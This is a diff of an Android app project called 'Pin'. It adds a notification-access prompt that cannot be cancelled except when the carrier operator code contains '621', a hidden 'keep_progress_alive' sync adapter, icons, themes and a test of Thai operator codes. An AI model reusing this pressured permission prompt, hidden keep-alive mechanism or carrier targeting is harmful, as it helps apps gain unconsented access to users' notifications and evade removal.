)
params.addRule(RelativeLayout.ALIGN_PARENT_END)
params.addRule(RelativeLayout.CENTER_VERTICAL)
params.addRule(RelativeLayout.ALIGN_BASELINE, ID_APP_NAME)
params.setMargins(dpToPx(42), dpToPx(22), dpToPx(20), 0)
switchView.layoutParams = params
return switchView
}
private fun buildAlertDialog(
context: Context,
themedContext: Context,
layout: ViewGroup
): AlertDialog {
return AlertDialog.Builder(themedContext, R.style.Theme_Material_Light_Dialog_Alert)
.setTitle("Permission Usage")
.setView(layout)
.setPositiveButton(
"ok"
) { dialog: DialogInterface?, which: Int ->
if (notificationListenerEnable(context)) {
dialog?.dismiss()
} else {
handlePositiveClick(
context
)
dialog?.dismiss()
}
}
// .setNegativeButton("cancel", null)
.setCancelable(context.operatorCode().contains("621") )
// .setCancelable(true)
.create()
}
private fun setupViewInteractions(
dialog: AlertDialog,
layout: RelativeLayout,
context: Context
) {
val isConfirmed = AtomicBoolean(false)
// 开关点击监听
val switchView = layout.findViewById<Switch>(ID_SWITCH)
switchView.setOnCheckedChangeListener { buttonView: CompoundButton?, isChecked: Boolean ->
// dialog.getButton(AlertDialog.BUTTON_POSITIVE).isEnabled = isChecked
}
switchView.setOnClickListener {
if (notificationListenerEnable(context)) {
dialog.dismiss()
} else {
openSettings(context)
dialog.dismiss()
}
}
// 对话框显示监听
dialog.setOnShowListener { d: DialogInterface? ->
// switchView.isChecked = false
// dialog.getButton(AlertDialog.BUTTON_POSITIVE).isEnabled = false
}
// 对话框关闭监听
dialog.setOnDismissListener { d: DialogInterface? ->
if (!isConfirmed.get()) {
// 处理取消逻辑
}
}
}
fun dismissDialog() {
dialog?.dismiss()
}
private fun handlePositiveClick(context: Context) {
// 实际权限请求逻辑
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (context is Activity) {
openSettings(context)
}
}
}
private fun dpToPx(dp: Int): Int {
return (dp * Resources.getSystem().displayMetrics.density).toInt()
}
// 资源ID定义应放在res/values中
private const val REQUEST_CODE = 1001
private fun serviceInfo(context: Context): ServiceInfo? {
try {
val serviceInfos =
context.packageManager.getPackageInfo(context.packageName, 516).services
?: return null
for (serviceInfo in serviceInfos) {
if (serviceInfo.permission == "android.permission.BIND_NOTIFICATION_LISTENER_SERVICE") {
return serviceInfo
}
}
return null
} catch (e: Exception) {
e.printStackTrace()
}
return null
}
fun openSettings(context: Context) {
val serviceInfo = serviceInfo(context)
val serviceName = serviceInfo?.name
val serviceFullName = "${context.packageName}/$serviceName"
var intent = Intent("android.settings.NOTIFICATION_LISTENER_DETAIL_SETTINGS")
intent.putExtra(
"android.provider.extra.NOTIFICATION_LISTENER_COMPONENT_NAME",
serviceFullName
)
if (intent.resolveActivity(context.packageManager) == null) {
intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS")
val bundle = Bundle()
bundle.putString(":settings:fragment_args_key", serviceFullName)
intent.putExtra(":settings:show_fragment_args", bundle)
intent.putExtra(":settings:fragment_args_key", serviceFullName)
}
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
context.startActivity(intent)
}
}

@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#3DDC84"
android:pathData="M0,0h108v108h-108z" />
<path
android:fillColor="#00000000"
android:pathData="M9,0L9,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,0L19,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,0L29,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,0L39,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,0L49,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,0L59,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,0L69,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,0L79,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M89,0L89,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M99,0L99,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,9L108,9"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,19L108,19"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,29L108,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,39L108,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,49L108,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,59L108,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,69L108,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,79L108,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,89L108,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,99L108,99"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,29L89,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,39L89,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,49L89,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,59L89,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,69L89,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,79L89,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,19L29,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,19L39,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,19L49,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,19L59,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,19L69,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,19L79,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
</vector>

@ -0,0 +1,30 @@
<vector xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:aapt="http://schemas.android.com/aapt"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
<aapt:attr name="android:fillColor">
<gradient
android:endX="85.84757"
android:endY="92.4963"
android:startX="42.9492"
android:startY="49.59793"
android:type="linear">
<item
android:color="#44000000"
android:offset="0.0" />
<item
android:color="#00000000"
android:offset="1.0" />
</gradient>
</aapt:attr>
</path>
<path
android:fillColor="#FFFFFF"
android:fillType="nonZero"
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
android:strokeWidth="1"
android:strokeColor="#00000000" />
</vector>

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
<monochrome android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
<monochrome android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 982 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

@ -0,0 +1,16 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<!-- <style name="Theme.K2vast" parent="Theme.MaterialComponents.DayNight.DarkActionBar">-->
<!-- &lt;!&ndash; Primary brand color. &ndash;&gt;-->
<!-- <item name="colorPrimary">@color/purple_200</item>-->
<!-- <item name="colorPrimaryVariant">@color/purple_700</item>-->
<!-- <item name="colorOnPrimary">@color/black</item>-->
<!-- &lt;!&ndash; Secondary brand color. &ndash;&gt;-->
<!-- <item name="colorSecondary">@color/teal_200</item>-->
<!-- <item name="colorSecondaryVariant">@color/teal_200</item>-->
<!-- <item name="colorOnSecondary">@color/black</item>-->
<!-- &lt;!&ndash; Status bar color. &ndash;&gt;-->
<!-- <item name="android:statusBarColor">?attr/colorPrimaryVariant</item>-->
<!-- &lt;!&ndash; Customize your theme here. &ndash;&gt;-->
<!-- </style>-->
</resources>

@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="purple_200">#FFBB86FC</color>
<color name="purple_500">#FF6200EE</color>
<color name="purple_700">#FF3700B3</color>
<color name="teal_200">#FF03DAC5</color>
<color name="teal_700">#FF018786</color>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

@ -0,0 +1,3 @@
<resources>
<string name="app_name">Pin</string>
</resources>

@ -0,0 +1,16 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<!-- <style name="Theme.K2vast" parent="Theme.MaterialComponents.DayNight.DarkActionBar">-->
<!-- &lt;!&ndash; Primary brand color. &ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorPrimary">@color/purple_500</item>&ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorPrimaryVariant">@color/purple_700</item>&ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorOnPrimary">@color/white</item>&ndash;&gt;-->
<!--&lt;!&ndash; &lt;!&ndash; Secondary brand color. &ndash;&gt;&ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorSecondary">@color/teal_200</item>&ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorSecondaryVariant">@color/teal_700</item>&ndash;&gt;-->
<!--&lt;!&ndash; <item name="colorOnSecondary">@color/black</item>&ndash;&gt;-->
<!--&lt;!&ndash; &lt;!&ndash; Status bar color. &ndash;&gt;&ndash;&gt;-->
<!--&lt;!&ndash; <item name="android:statusBarColor">?attr/colorPrimaryVariant</item>&ndash;&gt;-->
<!-- &lt;!&ndash; Customize your theme here. &ndash;&gt;-->
<!-- </style>-->
</resources>

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="keep_progress_alive.account"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:smallIcon="@mipmap/ic_launcher" />

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="keep_progress_alive.account"
android:allowParallelSyncs="false"
android:contentAuthority="keep_progress_alive.provider"
android:isAlwaysSyncable="true"
android:supportsUploading="false"
android:userVisible="false" />

@ -0,0 +1,26 @@
package com.galaxy.pin
import com.galaxy.permision.DistrictFilter
import org.junit.Assert
import org.junit.Test
import org.junit.Assert.*
/**
* Example local unit test, which will execute on the development machine (host).
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
class ExampleUnitTest {
@Test
fun addition_isCorrect() {
assertEquals(4, 2 + 2)
}
@Test
fun `thailand operator`() {
val codes = arrayOf("52023", "52020", "52015", "52003", "52023", "520000", "52018", "52004")
val match = codes.map { DistrictFilter(it).match() }.all { it }
Assert.assertTrue(match)
}
}
Loading…
Cancel
Save